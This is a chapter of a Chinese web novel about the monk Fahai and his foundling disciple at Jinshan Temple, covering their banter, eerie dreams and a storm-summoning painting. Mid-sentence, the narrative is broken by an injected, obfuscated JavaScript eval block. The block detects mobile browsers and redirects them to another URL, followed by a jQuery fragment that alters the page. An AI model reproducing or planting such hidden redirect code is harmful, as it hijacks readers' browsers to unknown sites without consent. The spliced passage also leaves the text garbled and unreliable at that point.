从前有座山。这话说起来跟闹着玩似的，但真就这么回事。山叫金山，不高不矮，搁在临安城西边，像个老实巴交的庄稼汉蹲在那儿，一年到头也不吭声。
山里有座庙，叫金山寺，不大不小，香火不旺不淡，够师徒俩吃饱饭，但也没剩下几个铜板去买新袈裟。
庙里有个老和尚。老和尚法号法海，五十来岁，脸上褶子能夹死蚊子，但眼神清亮，看人的时候像两盏灯，照得你心里那点小九九藏都藏不住。
他平日话不多，开口就是“阿弥陀佛”，闭口也是“阿弥陀佛”，但你要是惹毛了他，他也能抄起扫帚追着你满院子跑——别问我怎么知道的。
庙里还有个小和尚。小和尚没名没姓，大家都叫他小和尚。据说法海是在一个下雨天捡到他的，当时他坐在一个木盆里顺着钱塘江漂下来，哭得跟杀猪似的。法海把他捞上来，从此金山寺就多了一张嘴吃饭。
小和尚今年大概六岁，但看着像四岁，瘦得跟豆芽菜似的，脑袋光溜溜，两颗眼珠子贼亮，整天跟在法海屁股后面问东问西，问得法海恨不得把他嘴巴缝上。
这天傍晚，师徒俩坐在庙门口的石阶上，看山下的落日把天边烧成一片橘红色。小和尚托着腮帮子，两条腿晃来晃去：“师父，讲个故事呗。”
“不讲。”
“为啥？”
“嘴干。”
“那我给你倒杯茶去？”
“算了，你倒的茶不是烫嘴就是凉透，没一回能喝的。”
“那你就讲讲嘛。”
法海沉默了一会儿，忽然开口：“从前有座山。”
“得，又是这个。”小和尚翻了个白眼，“山里有座庙，庙里有个老和尚，老和尚给小和尚讲故事，讲的是从前有座山......师父，你就不能换一个？”
法海没理他，自顾自往下说：“说长安城里办花灯会，那叫一个热闹。宝马雕车香满路，凤箫声动，玉壶光转，一夜鱼龙舞。”
小和尚眨了眨眼，他不太懂什么叫“宝马雕车”，但他听出了师父声音里的不一样。法海平时说话跟敲木鱼似的，一个调到底，可这会儿，他的声音软下来了，像在念一首很老很老的歌谣。
“师父，长安在哪儿？”
“很远的地方。”
“有多远？”
“走路的话，大概要走上一年。”
“那你去过吗？”
“没去过。”
“那你咋知道那里有花灯会？”
法海看了他一眼，那眼神像是在说“你哪来这么多问题”，但还是耐着性子回答：“书上看的，听人说的。”
“那你喜欢长安吗？”
“喜欢。”
“想去吗？”
“想去。”
“那为啥不去？”小和尚来劲了，掰着手指头算，“你看啊，千里之行始于足下，你一天走三十里，一个月九百里，一年下来......”
“出家人断七情去六欲，越是喜欢，越要克制。”法海打断他。
“可是师父，”小和尚一本正经地说，“出家人不打诳语。”
法海沉默了三秒钟。
“穷。”
这个字说得理直气壮，小和尚当场就愣住了。他张了张嘴，想说点什么，但又觉得好像确实没什么好说的。庙里的功德箱他天天擦，里面有几文钱他比谁都清楚。
“那咱们什么时候能有钱？”
“等你长大。”
“长大了就有钱？”
“长大了你就不会问这种问题了。”
小和尚似懂非懂地点点头，又摇摇头。他看着山下渐渐亮起的万家灯火，忽然说：“师父，等我有钱了，我带你去看长安的花灯。”
法海没说话，只是伸手摸了摸他的光头。
山风从远处吹来，带着桂花和炊烟的味道。师徒俩就这么坐着，一个看天，一个看山，谁也不说话，但谁也不觉得尴尬。
日子就这么一天天过去，像庙门口那棵老槐树的叶子，落了又长，长了又落。小和尚慢慢长大了，虽然还是瘦，但个子拔高了一截，说话也不像小时候那么奶声奶气了。
他开始有了自己的主意，比如——他想要一个法号。
“师父，我想给自己起个法号。”
法海正在抄经，头也不抬：“万法随缘，你自己想吧。”
小和尚早就准备好了。他清了清嗓子，站得笔直，双手合十，一副得道高僧的模样：“佛曰：人法地，地法天，天法道。想来人比地小、地比天小、天比道小。不如我叫法道和尚？”
话音刚落，后脑勺就挨了一巴掌。
“哎哟！”小和尚捂着脑袋蹦起来，“不行就不行，你打我干啥！”
法海把毛笔往砚台上一搁，脸上的表情很精彩，像是想笑又硬憋着：“我打你，一是因为刚才那句话不是佛家说的，是道家说的。你的经都念狗肚子里去了。”
“那还有二呢？”
“二是为师法号法海。你敢叫法道，那是要与为师同辈，是为不敬。”
小和尚揉着后脑勺，嘴里嘟囔：“那你说我叫什么？”
法海想了想，说：“佛曰：苦海无涯，回头是岸。你就叫回头吧。”
“回头？”小和尚的脸皱成了包子，“这什么破名字，人家一听还以为是条狗呢。回头！过来！吃屎！”
“那叫你岸？岸然？岸本？”法海难得有耐心陪他闹。
“不行不行，都不好听。”
“那就继续想。想好了告诉我。”
小和尚闷闷不乐地跟在法海后面出了禅房。师徒俩沿着山路走，不知不觉来到山脚下的一个湖边。
落日正好卡在远处的山坳里，像一颗煮熟的蛋黄，把整个湖面染成了金红色。风吹过来，湖面上起了一层细细的波纹，一圈一圈地荡开去，像是有什么东西在水底下轻轻叹气。
小和尚忽然安静了。他盯着湖面看了很久，然后小声说：“师父，你有没有觉得，这湖水好像不太对劲？”
法海也在看湖，但他的表情很平静，像是什么都没发现。
“哪里不对劲？”
“说不上来，就是...总觉得水底下有什么东西。”
“哦？什么东西？”
小和尚挠了挠脑袋，想说又说不出来。他刚才确实感觉到了一瞬间的异样，就像有人在湖底看了他一眼，但那感觉很快就消失了，快得像一个梦。
“可能是我想多了。”
法海没接话，只是轻轻拍了拍他的肩膀：“走吧，天黑了，该做晚课了。”
师徒俩转身往回走。在他们身后，湖水忽然泛起一阵不自然的涟漪，像是有什么东西在水底翻了个身，然后又沉了下去，沉到最深最深的地方，沉到连月光都照不到的地方。
这天夜里，小和尚做了一个梦。
梦里有个女人在哭。不是嚎啕大哭，是那种压着声音的、断断续续的抽泣，像风吹过破窗户纸，呜呜咽咽的，听得人心里发毛。
小和尚想睁开眼睛，但眼皮沉得像灌了铅，怎么都睁不开。他想喊师父，嘴巴也张不开。他只能听着那哭声，一声比一声近，一声比一声凄凉。
后来他听见那个声音说了一句话，声音很小，小得像是从很远很远的地方飘过来的，但他每个字都听得清清楚楚——
“孩子......我的孩子......”
小和尚猛地惊醒，后背全是冷汗。月光透过窗户纸洒进来，在地上铺了一层银白色。屋子里静悄悄的，只有墙角那只蟋蟀有一搭没一搭地叫着。小和尚坐起来，竖起耳朵听了半天，什么声音都没有。
是梦吗？他摸了摸自己的脸，手指上湿了一片。他哭了？什么时候哭的？
小和尚心里发慌，光着脚跳下床，推开门就往师父的禅房跑。金山寺不大，从东厢到西厢也就几十步路，但这会儿他觉得这条路长得离谱，走廊两边的黑影像是活过来了一样，张牙舞爪地朝他扑过来。
“师父！师父！”
他砸门砸得咚咚响，里面的灯亮了，法海的声音传出来，带着点没睡醒的沙哑：“进来。”
小和尚推门进去，看见法海正盘腿坐在床上，被子整整齐齐地叠在一边——看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401663|200421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来他压根就没睡。
“怎么了？”
“我...我听见有人哭。”小和尚吞了口唾沫，“一个女人，就在我窗户外面哭。”
法海看了他一眼，那眼神很平静，平静得像是在说“今天天气不错”。
“可能是天气影响，”法海说，“今年暑热来得早，人都燥得慌。”
“不是！”小和尚急了，“我真的听见了！她说...她说...”
他说不下去了，因为他不确定那句话到底是梦见的还是真的听见的。而且“我的孩子”这四个字，说出来他自己都觉得荒唐。他是师父从江边捡来的，他哪来的娘？
法海没追问，只是从床上下来，从柜子里翻出一卷画轴。
“你把为师画的这幅钟山风雨图挂到回廊的横梁上去。挂完就去睡觉。”
小和尚接过画轴，低头看了一眼。画上乌漆嘛黑的，几团墨点子胡乱甩在一起，看着像小孩子涂鸦，又像喝醉了吐的。
“师父，你管这副鬼画符叫风雨图？”
法海的手已经摸到了扫帚。
“哎哎！我去挂！别打！”
小和尚抱着画轴一溜烟跑出去，手脚并用地爬上回廊的柱子，把画轴挂到了横梁上。
画轴展开的那一刻，他忽然觉得不对劲。山风停了——不是慢慢停的，是猛地一下，像有人掐住了风的脖子。天上的云也开始动，不是被风吹动的那种动，而是自己往里收，像有人在拽一块巨大的布。
然后天就暗了。不是傍晚那种慢慢暗下来，是像有人把灯一下子灭了，黑得伸手不见五指。紧接着，凉风从四面八方吹过来，带着一股说不清道不明的味道，像雨后泥土的腥气，又像深山里老树的木香。
小和尚打了个哆嗦，赶紧跑回屋里，把自己裹进被子里。
他刚躺下，雨就下来了。不是普通的雨，是那种劈头盖脸的、像是有人端着盆往下倒的暴雨。
雨点砸在瓦片上，噼里啪啦的，像是有人在房顶上撒豆子。紧接着是闪电，一道接一道，把整个房间照得雪白。然后是雷，轰隆隆的，震得窗户框子都在抖。但奇怪的是，那个女人的哭声，他再也听不见了。
小和尚在被子里缩成一团，迷迷糊糊又睡了过去。
这回他做了另一个梦。梦里他站在金山寺的山门口，看着山下黑压压的一片。有几个黑影在山路上跑，跌跌撞撞的，像是喝醉了酒。闪电劈下来，正正好好劈在其中一个黑影身上，那个黑影发出一声惨叫，浑身冒着青烟，连滚带爬地消失在山林里。
一个，两个，三个......闪电一道接一道，每一道都劈中一个黑影，准得跟长了眼睛似的。
第二天早上，他是被鸟叫声吵醒的。推开窗户，一股清冽的空气扑面而来，带着雨后特有的草木清香。
天是那种洗过的蓝，太阳光薄薄的、淡淡的，像是秋天。不，这就是秋天。小和尚揉了揉眼睛，确认自己没看错。昨天还热得跟蒸笼似的，今天就凉飕飕的了。
他跑到回廊上看那幅钟山风雨图，发现画上的墨点子不见了，只剩下光秃秃的一座青山，安安静静地立在纸上，像什么都没发生过。
“师父！师父！”他跑回禅房，“那幅画变了！风雨都没了！”
刚睡醒的法海，含糊不清地说：“嗯，天晴了，画里的风雨就散了。”
“这是什么道理？”
“万物有来有去，有聚有散。风雨来了，风雨散了，画上留不住的。”
小和尚似懂非懂，但他注意到法海的嘴角微微翘了一下，像是在笑。
早课上，小和尚念经的时候总是走神。他脑子里一直在想昨晚的梦，想那个女人的哭声，想那些被雷劈得满山跑的黑影。他觉得这些事情之间有关系，但他想不明白到底是什么关系。
法海敲了一下他的脑袋：“专心。”
“哦。”
小和尚低下头，继续念那念了一万遍的经文。但他的耳朵一直竖着，听着山外面的动静。风平浪静，鸟语花香，什么都没有发生。
但他总觉得，有什么东西正在暗处盯着他看。